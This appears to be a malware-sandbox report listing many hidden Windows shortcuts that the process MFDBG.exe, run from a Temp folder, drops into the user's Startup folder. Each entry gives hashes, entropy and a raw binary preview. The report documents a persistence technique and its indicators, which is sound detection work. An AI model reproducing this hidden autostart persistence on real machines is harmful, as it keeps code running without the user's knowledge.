File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920595326126993
Encrypted:	false
SSDEEP:	24:8EBf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	72A87D5974F5FE07D1E8873856BF9261
SHA1:	B21C90E45B77B603B1142B1D63308E6617B8516F
SHA-256:	6B4CC460C70BA79EA49E81C51DB7A9CBE9BD32F032B466694D3388D5E4A66298
SHA-512:	BE36874F7C84D798B2DB1F9921EE6430D50482BC5099704E464B55029E6DC455D3CBA50AA5323BA1A00DE96ADE7F6F2168B5F5536C95E4A76D66F808CDEAA36A
Malicious:	false
Preview:	L..................F....".......d...Q...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8980d97b7a9c4eb0959e4d0e0bb811ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920916496150429
Encrypted:	false
SSDEEP:	24:8iBf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BF94E47AB325F793661B07DB114AAB92
SHA1:	BAEDF1D888D2A8D18D3744A4C8FA4E7E095AB976
SHA-256:	AC641C5DC5A8BB6D86313A08035EB6B63D2C014F59CC46CE2E531B7B99B582FA
SHA-512:	A80897B09CCB8AEDC6033AE23EFC6679891CB8AB027703837CA38A32A3D793291364EF7990169FCA46B724DF2B65597DF6FE557FB960BE520F787B786F109A22
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8a02a70a6c124ac88b42d831ae4dc9f1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9280898084412454
Encrypted:	false
SSDEEP:	24:8ZkrBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ad59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	3E812FDEF5A12F2024FD24FAEC0624AE
SHA1:	3EC44A6C595F5EF10C50821078D5B4C708A4DE24
SHA-256:	37956ACE2E44D10093BD75AB68316E88852F5F3856BF23180469AC9CDC083E10
SHA-512:	91C5022865A52FDCAAC7633E75187B236C6B73AFB87B81F4C0C2F8C39F78475AAE8362B95A6BDB01199C857B252AAE6E1881384D21DEDB178A5727AC13D9607C
Malicious:	false
Preview:	L..................F....".......d.....>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8a9419ab54bd4b98bad12f296751f3cc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92458076590431
Encrypted:	false
SSDEEP:	24:88BfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	59029635516A2567C667CB106218E3B7
SHA1:	2EE89B04491A93E0FE0ADD410FA25EBBA30C4BB5
SHA-256:	63506A280003ACE6D9E725919D7C62BF18E365D86BC13A0A2904AD6BB5A33A4A
SHA-512:	A972B73F3FA23DBE528EE7E41A5BF13F7779C682128A0E6682281A003F86A7C8CF4B9A703CA997F1DF05584589457ABE3808EF6449E43224F3B7834E826765D4
Malicious:	false
Preview:	L..................F....".......d...1..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ab098bddd434deab6fd5ac5741f150e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916782240829199
Encrypted:	false
SSDEEP:	24:8HBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8h8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	1F8E08622EF97753FAFA395FEFF08752
SHA1:	F7953FE6CB5B5125707FC460E7CC0ED4CA6A69BF
SHA-256:	A9289B8A9CD2E4767B0BF93CF6E9D458FD3DB9D93A2C9A706033AFD114E83D82
SHA-512:	223E8446671AFBDE3D6845933A78BEF7440B85BE41E89C416611C9C671F4CD56C72187D00ED78D5D38EDAE6C29C035B1A3146C19C771287D32DA6C29ABB31C5F
Malicious:	false
Preview:	L..................F....".......d...2l.}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b14580080fa46b6b8667f24d42ade63.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912179802792813
Encrypted:	false
SSDEEP:	24:8FBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8H5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E50324A7B8554B2BA3D7D0CFB4A469E1
SHA1:	0EB52D7C28EE809E474C48EB004336E5F9A1E51C
SHA-256:	46CA9857528EA55CE142E142BEAB354A137376BFC9183551DAA2C7C38266192E
SHA-512:	8A78D9B75688D77C7E8996FF14F8C3759E81E2792D3F85F37A08FDE670E4E2510A3D6FD3049D0D56B52407B9147AA6EFC3B178FA88E0240AF4CDC623D7E6C97F
Malicious:	false
Preview:	L..................F....".......d...NL,Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8b7e77a76bc548ca9feabeb5bb7531ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:8laTBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EEE0FD3CBE774EF45B588E4CE2AD8EBA
SHA1:	68DDCF9B48A767FC8EF3C35E7E692787F773F95F
SHA-256:	480B24DEB9A3C4D963489FBC14919C03344F746E76CD117AA0E3C1DE9BC8731E
SHA-512:	7FBD6D36E4947EA1A2840DF2524F5589737E6FC2F32569A3159022EE3049BB82D3EEED7A08F3EB2EC2BAAD4BE1EFCA78B5C3CF08283D30644AC63FB61FBF7090
Malicious:	false
Preview:	L..................F....".......d.....<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8ba78f0f2cac4c5aa5d40ae1adba3097.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92575681559829
Encrypted:	false
SSDEEP:	24:8jBfz8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lYEvZ0yRO7DLO2zdxdRd1kyg
MD5:	96E1F15CF7824F814277D7AB386FB0AA
SHA1:	711C1BB1655D93BD08BF4C83C588690B1500DEC3
SHA-256:	BFD3A5808BD3AB46AB118D8D37661C2648FBC7B7449C4756A927D774556BE816
SHA-512:	C8680B5E985C6345A047FC7822F414E39E25A67CF36E1066A8F3F1ABA7ABE0903E663ABB1E071293B5B567AA0A5C84D4DEDD5AF97BB1828BEDD9F5792BC2C0BD
Malicious:	false
Preview:	L..................F....".......d...'?O\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....T$\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8bf035199f8a455db5a9455381b9578e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930912071452584
Encrypted:	false
SSDEEP:	24:8pBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8T59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	62D3CF2094189DBA8A86DE4F7C60E187
SHA1:	571931705D05F3010FB7D8173C88F5E3FBF89D30
SHA-256:	D31229AB402EA61C5A44F34C9C89EFE68E92797C3BAC22E8742D34CD1F0640BB
SHA-512:	973DA45BB7E7980D0CAEC6115B80CB328994AE05EC0347A9EC886820C37661E5F25D63A2B5D5B71458EFA72604B0C76E26AF2B55343A8952174E8A77520BD90C
Malicious:	false
Preview:	L..................F....".......d.....>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c886f3f5a66417db83f6353b6e44a11.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925895777608052
Encrypted:	false
SSDEEP:	24:8vrBfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vdnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F812BFE0C3FDD4667476E308863FD0CD
SHA1:	B285BE6586D12C3DC58806A7741368F3EEF10CDC
SHA-256:	CE55FCF584E65DCFD949A7316A68E9BB70790FB3A642EA60CB9445DF1F21A29B
SHA-512:	040C38008D3BFB91F2A80A833905DFECC3D55D4F26D66E0AFB17CE59F051D7D6DB6F5B5D1B819A8F96E7F71B148001F3D2AF6877BFB6880C7163A82133D26B94
Malicious:	false
Preview:	L..................F....".......d...../Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c91e6e7b7e34d52bb637fd85b2dfb2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924616699621987
Encrypted:	false
SSDEEP:	24:8xPrBfEO8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RduEvZ0yRO7DLO2zdxdRd1kyg
MD5:	182A209E9E38E88756166A723A651F72
SHA1:	7E86769250EF4958A0EBC9B06D7E1E1D17BC6908
SHA-256:	BA896AAAF69154D25CC62901DDDB39C5C4876845DF4D0683B7E48C3BD3EDE261
SHA-512:	AC449B4AAE6152D0B45AE5DB981318D5AEE86E27F815313CA5E5A3DA8C3B62916C962F7EF35162E643A0FDAA7D798145350CACA04ECEBEE96524FD0A83A0F972
Malicious:	false
Preview:	L..................F....".......d...g_.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8cd43e51b73941fda670a4dec150545f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916654367294311
Encrypted:	false
SSDEEP:	24:8cBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8SlEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7D4FC265C0F7619AFFFA858DA3CEAB7D
SHA1:	13350B5CDBC3B2D6D01FCEA3BD6C8BB4B44D6F81
SHA-256:	1A0DE3EB9C6C00F1DA5261F32B12115D07D7CF33A194F6D90699A5F01EC88303
SHA-512:	E44DB46A5D45893D323FBC2238998F44AB29962A6E1049D9BE928135410B3216E154BF3BBC7339A3B27861CB20EABBF5C80482FF796ADFE62E9EA05B827EAF65
Malicious:	false
Preview:	L..................F....".......d......=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8cd9a63d4f954de487775fe89542721c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917919582702844
Encrypted:	false
SSDEEP:	24:82Bfkf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E0B7B2A08C39E876D31837BE142B1721
SHA1:	9E70E93D40C88664C150C033BF03AB4108B4639B
SHA-256:	344C98B0EBC19EBBDCF9D5CBD7B8EC48B9830B5367C25BB9071B537DBA52BE1A
SHA-512:	CD2E7F290732822CC809DE32E9F8E5350958E24BD40072210A1917B8B59D0565D63B8C81A0C9310387A6EA30B512A34D55DF3C45415AC7BDCA01B15B6945C4A8
Malicious:	false
Preview:	L..................F....".......d....e.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8d739e7c5f4d4cf09b62719331c6de57.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
